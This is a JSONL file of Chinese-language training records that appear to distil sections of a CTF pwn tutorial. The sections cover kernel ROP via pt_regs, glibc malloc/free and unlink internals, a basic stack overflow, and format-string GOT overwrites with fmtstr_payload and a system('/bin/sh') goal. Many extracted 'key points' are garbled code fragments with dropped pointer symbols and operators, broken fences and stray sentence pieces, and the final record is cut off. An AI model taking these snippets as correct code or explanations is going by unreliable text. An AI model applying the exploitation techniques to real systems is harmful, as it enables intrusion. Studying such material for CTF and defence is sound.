{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9a1a00bb8c83d63b842a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md` 中的章节「写：0x50」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md`\n标题：利用 pt\\_regs 构造通用内核 ROP\n章节：利用 pt\\_regs 构造通用内核 ROP > _例题：西湖论剑2021线上初赛 - easykernel_ > 分析 > 写：0x50\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“写：0x50”展开。\n- 常规的写入 object： ``c if ( a2 > 0x40 ) { if ( a2 == 80 ) { if ( copy_from_user(&v12, v2, 24LL) ) return -22LL;\n- if ( (unsigned int)v12 <= 0x20 ) { v4 = addrList[(unsigned int)v12];\n- if ( v13 <= 0x7FFFFFFF ) { _check_object_size(addrList[(unsigned int)v12], v13, 0LL);\n- copy_from_user(v4, v6, v5);\n\n关键术语：\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 26 行，首行 `if ( a2 > 0x40 )`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 403, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "写：0x50", "heading_path": ["利用 pt\\_regs 构造通用内核 ROP", "_例题：西湖论剑2021线上初赛 - easykernel_", "分析", "写：0x50"], "original_id": "docs-10428d85088a383f970c", "original_line": 816, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md", "source_root": "docs", "source_sha256": "60e580f7ce73c459c08c4499a5bb30ee34f036c46304ad9c8c52ace8a2cf248e", "split": "train", "split_group_key": "5930948a5e9db22a7f1ec88e", "subcategory": "pwn/linux/kernel-mode", "terms": ["ROP/JOP", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "利用 pt\\_regs 构造通用内核 ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9af911de9378f182453e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「__libc_malloc」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：申请内存块 > __libc_malloc\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“__libc_malloc”展开。\n- 该函数会首先检查是否有内存分配函数的钩子函数（__malloc_hook），这个主要用于用户自定义的堆分配函数，方便用户快速修改堆分配函数并进行测试。\n- 为什么不直接写个 malloc 函数呢，因为有时候我们可能需要不同的名称。\n- 这里需要注意的是，用户申请的字节一旦进入申请内存函数中就变成了无符号整数。\n- ``c++ // wapper for int_malloc void __libc_malloc(size_t bytes) { mstate ar_ptr;\n- // 检查是否有内存分配钩子，如果有，调用钩子并返回. void (hook)(size_t, const void ) = atomic_forced_read(__malloc_hook);\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 8 行，首行 `// wapper for int_malloc`\n- c++: 1 行，首行 `arena_get(ar_ptr, bytes);`\n- c++: 1 行，首行 `victim = _int_malloc(ar_ptr, bytes);`\n- c++: 7 行，首行 `/* Retry with another arena only if we were able to find a usable arena`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1394, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "__libc_malloc", "heading_path": ["申请内存块", "__libc_malloc"], "original_id": "docs-039e3c56b7aa4de8ca5f", "original_line": 1140, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "37e81584fb9b8fd8695ca8fe", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9c23642e68d0aa735fe4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「chunk2: a chunk to be overwrited and freed」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：chunk2: a chunk to be overwrited and freed\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“chunk2: a chunk to be overwrited and freed”展开。\n- \\ ` 当构造完三个 note 后，堆的基本构造如图1所示。\n- newnote(0x80, 'b' 16) `` 其中这三个 chunk 申请时的大小分别为0x80，0，0x80，chunk1 虽然申请的大小为0，但是 glibc 的要求 chunk 块至少可以存储 4 个必要的字段(prev\\_size,size,fd,bk)，所以会分配 0x20 的空间。\n- 这里需要注意的是，chunk0 中一共构造了两个 chunk - chunk ptr[0]，这个是为了 unlink 时修改对应的值。\n- 同时，由于无符号整数的比较问题，可以为该note输入任意长的字符串。\n- `c // 由于P已经在双向链表中，所以有两个地方记录其大小，所以检查一下其大小是否一致。\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 4 行，首行 `其中这三个 chunk 申请时的大小分别为0x80，0，0x80，chunk1 虽然申请的大小为0，但是 glibc 的要求 chunk 块至少可以存储 4 个必要的字段(prev\\_size,size,fd,bk)，所以会分配 0x...`\n- plain: 1 行，首行 `当构造完三个 note 后，堆的基本构造如图1所示。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1277, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "chunk2: a chunk to be overwrited and freed", "heading_path": ["chunk2: a chunk to be overwrited and freed"], "original_id": "docs-b6338d66a9de94ee28d9", "original_line": 1085, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "8e8ee036b2900528b8922783", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9ce3e79643c34c3739fd", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md` 中的章节「基本信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md`\n标题：Chunk Extend and Overlapping\n章节：trigger system(\"/bin/sh\") > 2015 hacklu bookstore > 基本信息\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本信息”展开。\n- ``shell ➜ 2015_hacklu_bookstore git:(master) file books books: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3a15f5a8e83e55c535d220473fa76c314d26b124, st...\n- 可以看出该程序是动态链接的 64 位程序，主要开启了 Canary 与 NX 保护。\n\n关键术语：\n- 堆\n- 栈\n- pwn\n- linux\n- user-mode\n- heap\n- code:shell\n\n代码/命令片段线索：\n- shell: 9 行，首行 `➜ 2015_hacklu_bookstore git:(master) file books`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 564, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "基本信息", "heading_path": ["trigger system(\"/bin/sh\")", "2015 hacklu bookstore", "基本信息"], "original_id": "docs-5c3fe8808f79de1dd3ce", "original_line": 911, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md", "source_root": "docs", "source_sha256": "b01e68217ab7de1be420b9424581a4f5375501c0cee771572bfb815bdb771d2a", "split": "train", "split_group_key": "f159d3d9372a39ab98ad9fe3", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "pwn", "linux", "user-mode", "heap", "code:shell"], "title": "Chunk Extend and Overlapping"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9d3ac8d322ff6d04ccd9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「sysmalloc」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：申请内存块 > sysmalloc\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“sysmalloc”展开。\n- 正如该函数头的注释所言，该函数用于当前堆内存不足时，需要向系统申请更多的内存。\n- ``c / sysmalloc handles malloc cases requiring more memory from the system.\n- On entry, it is assumed that av->top does not have enough space to service request for nb bytes, thus requiring that av->top be extended or replaced. / ``\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 6 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 280, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "sysmalloc", "heading_path": ["申请内存块", "sysmalloc"], "original_id": "docs-88b0f24aa94f2d98ca8b", "original_line": 1159, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "2444c8de6d28dadb3516374c", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9d455e987a9fb53d88c3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md` 中的章节「SWITCH_TO_USER_CR3_STACK」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md`\n标题：KPTI - Kernel Page Table Isolation\n章节：KPTI - Kernel Page Table Isolation > Attack KPTI > SWITCH_TO_USER_CR3_STACK\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 通过分析内核态到用户态切换的代码，我们可以得知，页表的切换主要靠SWITCH_TO_USER_CR3_STACK 汇编宏。\n- 那么如果我们可以控制内核执行返回用户态时所执行的切换页表的代码片段，也就可以正常地返回到用户态。\n- 在开启 KPTI 机制后，用户态进入到内核态时，会进行页表切换；\n- 内核返回到用户态主要有两种方式：iret 和 sysret。\n\n关键术语：\n- 栈\n- pwn\n- linux\n- kernel-mode\n- defense\n- code:assembly\n\n代码/命令片段线索：\n- assembly: 32 行，首行 `.macro SWITCH_TO_USER_CR3_STACK scratch_reg:req`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1280, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "SWITCH_TO_USER_CR3_STACK", "heading_path": ["KPTI - Kernel Page Table Isolation", "Attack KPTI", "SWITCH_TO_USER_CR3_STACK"], "original_id": "docs-2636cb795712968d2862", "original_line": 677, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md", "source_root": "docs", "source_sha256": "b88b1df847f13af9b069254f15961f1abf292994651bb55eefb1446127a2cf80", "split": "train", "split_group_key": "51be58e0f925cbb45d313975", "subcategory": "pwn/linux/kernel-mode", "terms": ["栈", "pwn", "linux", "kernel-mode", "defense", "code:assembly"], "title": "KPTI - Kernel Page Table Isolation"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9d7ea131373b651b1fd4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md` 中的章节「基本示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md`\n标题：栈溢出原理\n章节：栈溢出原理 > 基本示例\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本示例”展开。\n- ^ /tmp/ccPU8rRA.o：在函数‘vulnerable’中： stack_example.c:(.text+0x27): 警告： the gets' function is dangerous and should not be used.\n- 那么此时我们就需要使用一波 pwntools 了(关于如何安装以及基本用法，请自行 github)，这里利用 pwntools 的代码如下： ``python ##coding=utf8 from pwn import *\n- 最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址，当然需要确保这个地址所在的段具有可执行权限。\n- 我们利用如下命令对其进行编译 `shell ➜ stack-example gcc -m32 -fno-stack-protector stack_example.c -o stack_example stack_example.c: In function ‘vulnerable’: stack_example.c:6:3: warning: implicit declaration of function ‘gets’ [-Wimplicit-function-declaration] gets(s);\n- 它从不检查输入字符串的长度，而是以回车来判断输入是否结束，所以很容易可以导致栈溢出， > 历史上，莫里斯蠕虫*第一种蠕虫病毒就利用了 gets 这个危险函数实现了栈溢出。\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:c\n- code:shell\n- code:text\n- code:asm\n\n代码/命令片段线索：\n- C: 18 行，首行 `#include `\n- shell: 7 行，首行 `➜ stack-example gcc -m32 -fno-stack-protector stack_example.c -o stack_example`\n- plain: 6 行，首行 `➜ stack-example checksec stack_example`\n- C: 6 行，首行 `int vulnerable()`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3250, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "基本示例", "heading_path": ["栈溢出原理", "基本示例"], "original_id": "docs-a86077b11650c7d4f6f2", "original_line": 1301, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md", "source_root": "docs", "source_sha256": "dec6be57e088905459cdd2d04532f6b0f33adf6c4086ebc03869863fd0640063", "split": "train", "split_group_key": "3ba5782a4481d52400b7dea0", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:c", "code:shell", "code:text", "code:asm"], "title": "栈溢出原理"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9d8c882ddb8761be0677", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/build-kernel-module.md` 中的章节「提供用户态接口」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/build-kernel-module.md`\n标题：编写一个 Loadable Kernel Module\n章节：Copyright (c) 2025 arttnba3 <[EMAIL_REDACTED]> > 提供用户态接口\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“提供用户态接口”展开。\n- 接下来我们为我们的内核模块添加可供用户态应用程序交互的方式，一个比较常见的方式是我们的内核模块在载入后创建一个虚拟文件节点，用户态应用程序打开该节点后通过 read() 、 write() 、 ioctl() 等系统调用进行交互。\n- 本节我们简单介绍如何创建一个可供用户态交互的 procfs （ Process file system ）的文件节点。\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- environment\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 182, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "提供用户态接口", "heading_path": ["Copyright (c) 2025 arttnba3 <[EMAIL_REDACTED]>", "提供用户态接口"], "original_id": "docs-07e308938595390bc43c", "original_line": 696, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel-module.md", "source_root": "docs", "source_sha256": "515975a5586b923eaaba1367517b2ebd6aa21fc9cee0a6411a4f62271a08f552", "split": "train", "split_group_key": "ff6b726119749d3d2d421887", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "environment"], "title": "编写一个 Loadable Kernel Module"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel-module.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9dc4038f25a7e7e2bb47", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「system('/bin/sh')」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > system('/bin/sh')\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“system('/bin/sh')”展开。\n- 这里我利用了 pwntools 中的 fmtstr\\_payload 函数，比较方便获取我们希望得到的结果，有兴趣的可以查看官方文档尝试。\n- 比如这里 fmtstr\\_payload(7, {puts\\_got: system\\_addr}) 的意思就是，我的格式化字符串的偏移是 7，我希望在 puts\\_got 地址处写入 system\\_addr 地址。\n- show_dir() sh.interactive() ``` 注意 - 我在获取 puts 函数地址时使用的偏移是 8，这是因为我希望我输出的前 4 个字节就是 puts 函数的地址。\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 309, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "system('/bin/sh')", "heading_path": ["例子", "system('/bin/sh')"], "original_id": "docs-750be13ae0b386ef44a4", "original_line": 865, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "666b4b747367cfa074b3680e", "subcategory": "pwn/linux/user-mode", "terms": ["漏洞利用", "pwn", "linux", "user-mode", "fmtstr"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9e6f5756bd6d5758c403", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md` 中的章节「下一块不是top chunk-前向合并-合并高地址chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md`\n标题：释放内存块\n章节：释放内存块 > _int_free > 合并非 mmap 的空闲 chunk > 下一块不是top chunk-前向合并-合并高地址chunk\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“下一块不是top chunk-前向合并-合并高地址chunk”展开。\n- 需要注意的是，如果下一块不是 top chunk ，则合并高地址的 chunk ，并将合并后的 chunk 放入到unsorted bin中。\n- ``c++ // 如果下一个chunk不是top chunk if (nextchunk !\n- = av->top) { / get and clear inuse bit / // 获取下一个 chunk 的使用状态 nextinuse = inuse_bit_at_offset(nextchunk, nextsize);\n- nextinuse) { unlink(av, nextchunk, bck, fwd);\n- } else clear_inuse_bit_at_offset(nextchunk, 0);\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 38 行，首行 `// 如果下一个chunk不是top chunk`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1047, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "下一块不是top chunk-前向合并-合并高地址chunk", "heading_path": ["释放内存块", "_int_free", "合并非 mmap 的空闲 chunk", "下一块不是top chunk-前向合并-合并高地址chunk"], "original_id": "docs-527a99ce92cefcf6d9f4", "original_line": 1135, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md", "source_root": "docs", "source_sha256": "1d6be6f5b7f2621b4a2b531049a02b0da7c6d59e797566776ae9571a59d5660e", "split": "train", "split_group_key": "fe893549b6dc095d96f35228", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "释放内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9e81d728f03e9395eaf0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「确定偏移」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > hijack retaddr > 例子 > 确定偏移\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“确定偏移”展开。\n- 输入用户名 aaaaaaaa，密码随便输入，断点下在输出密码的那个 printf(&a4 + 4) 函数处 ``text Register Account first!\n- 3.QUit sangebaimao:( >error options 1.Sh0w Account Infomation!\n- 3.QUit sangebaimao:( >1 ...\n- Input your username(max lenth:20): aaaaaaaa Input your password(max lenth:20): %p%p%p%p%p%p%p%p%p%p Register Success!\n- 1.Sh0w Account Infomation!\n\n关键术语：\n- 栈\n- 密码学\n- AI安全\n- pwn\n- linux\n- user-mode\n- fmtstr\n- code:text\n\n代码/命令片段线索：\n- text: 15 行，首行 `Register Account first!`\n- text: 18 行，首行 `─────────────────────────────────────────────────────────[ code:i386:x86-64 ]────`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1341, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "确定偏移", "heading_path": ["例子", "hijack retaddr", "例子", "确定偏移"], "original_id": "docs-b61409059f202ee60dc6", "original_line": 867, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "ebfb14a6f36fc3dd9791b816", "subcategory": "pwn/linux/user-mode", "terms": ["栈", "密码学", "AI安全", "pwn", "linux", "user-mode", "fmtstr", "code:text"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": 